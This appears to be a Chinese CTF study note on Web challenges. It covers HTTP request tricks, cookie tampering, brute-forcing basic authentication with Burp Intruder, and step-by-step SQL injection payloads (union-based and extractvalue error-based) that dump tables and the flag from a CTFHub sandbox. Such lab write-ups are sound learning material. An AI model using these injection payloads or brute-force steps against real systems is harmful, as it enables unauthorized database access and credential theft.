Web 类题目涉及常见的 Web 漏洞,包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等
考察内容:

  • Web开发能力以及语言特性
  • 对框架安全的熟悉程度
  • 各类Web攻击技巧、各种编码方式与加解密

解题思路:

  • 信息探测。找出一支信息,如源码、框架信息、服务信息等
  • 根据已知信息判断漏洞产生点以及漏洞类型
  • 分析漏洞,构造攻击流程,完成攻击得到flag

OWASP:http://www.owasp.org.cn/owasp-project

HTTP

请求方式

【例】题目如下图
image.png
在 Burp Suite Repeater 中修改请求方式并重新发送,发现 flag
image.png
也可以使用 curl -X 参数
image.png

302跳转

【例】题目如下图
image.png
点击 Give me Flag 会访问 /index.php,但是会302跳转到 /index.html
image.png
使用 Burp Suite Repeater 或者 curl 直接请求 /index.php,可以发现 flag
image.png

Cookie

【例】题目如下
image.png
发现请求中包含 Cookie: admin=0
image.png
改成 Cookie: admin=1 重新发送,发现 flag
image.png

基础认证

【例】题目如图,另外还有一个密码字典
image.png
image.png
点击 click,会访问 /flag.html 并出现用户名密码验证对话框
image.png
随便输个账号密码,比如用户名abc,密码123,查看 HTTP 报文
Authorization: Basic YWJjOjEyMw==
用 base64 解密 YWJjOjEyMw== 后是 abc:123,刚好是 用户名:密码
提示“Do u know admin”,猜想用户名是 admin,开始使用密码字典爆破

将报文发送到 Burp Suite Intruder,将 Authorization 里面 base64 部分添加为 payload position
image.png
Payloads 选项卡里添加密码表和爆破规则
image.png
开始爆破,出现状态码 200 即为爆破成功
image.png

源代码

【例】题目如下,是个贪食蛇游戏
image.png
查看源代码,发现 flag
image.png


SQL 注入

https://www.yuque.com/_awake/ri1fuk/bi8mvg

整数型注入

检查是否存在注入

  1. and 1=1 #返回正确
  2. and 1=2 #返回错误

猜字段数(x为数字) 得出字段数

order by x
爆数据库名

?id=1 and 1=2 union select 1,database()
得到数据库名称sqli

爆表名

?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=’sqli’
得到表名 news,flag

爆列名

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’
得到字段名flag

获得flag

?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

字符型注入

字符型注入要考虑到 引号闭合 和 注释

判断注入

  1. ?id=1' and 1=1 --+ 返回正确
  2. ?id=1' and 1=2 --+ 返回错误

猜字段

  1. ?id=1' order by 2 --+ 返回正确
  2. ?id=1' order by 3 --+ 返回错误

得出字段数为 2

测试空格字符代替情况 (可跳过)

  1. ?id=1' order by 2 -- - 返回正确
  2. ?id=1' order by 2 -- / 返回正确

爆数据库名

  1. ?id=1' and 1=2 union select 1,database()--+

得到数据库名 sqli

爆表名

  1. ?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+

爆列名

  1. ?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆字段内容

  1. ?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+

UNION 注入

报错型注入

尝试报错函数发现可以用extractvalue(),错误信息能够显示当前使用的数据库名称为sqli

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))—+

爆表名
获取表名,推断flag表有我们想要的东西

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))—+

爆列名
获取列名,flag表的flag字段或许就是我们的目标了

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’flag’),0x7e))—+

爆数据
初次尝试,发现显示结果不全,推测此题对回显长度有限制

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))—+

方法一:MID函数
MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
提取查询结果前16个字符

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))—+

提取剩余字符

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))—+

拼接得到flag
方法二:直接select
取巧的方法

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))—+

布尔盲注

时间盲注



工具

Burp Suite

sqlmap

dirsearch - 网站目录扫描

https://github.com/maurosoria/dirsearch

用法:dirsearch -u https://xxx.com -e *

nmap
hackbar
kali